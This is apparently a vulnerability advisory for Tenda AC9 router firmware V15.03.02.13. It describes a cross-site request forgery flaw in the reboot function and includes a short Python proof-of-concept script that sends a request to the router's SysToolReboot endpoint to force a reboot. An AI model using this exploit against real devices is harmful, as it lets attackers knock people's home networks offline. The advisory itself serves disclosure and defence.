Overview

• The device's official website: https://www.tenda.com.cn/material/show/102554
• Firmware download website: https://www.tenda.com.cn/material/show/102554

Affected version

AC9 V1.0 V15.03.02.13

Vulnerability details

The Tenda AC9 V1.0 V15.03.02.13 firmware has a Cross Site Request Forgery (CSRF) vulnerability located in the fromSysToolReboot function. It allows remote attackers to reboot the device and cause denial of service.

PoC

import requests
​
url = "<http://192.168.84.101/goform/SysToolReboot>"
​
headers = {
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'zh-CN,zh;q=0.9',
    'Cookie': 'bLanguage=cn; user=; password=yrhsd',
    'Connection': 'close'
}
​
response = requests.get(url, headers=headers)
​
print(response.text)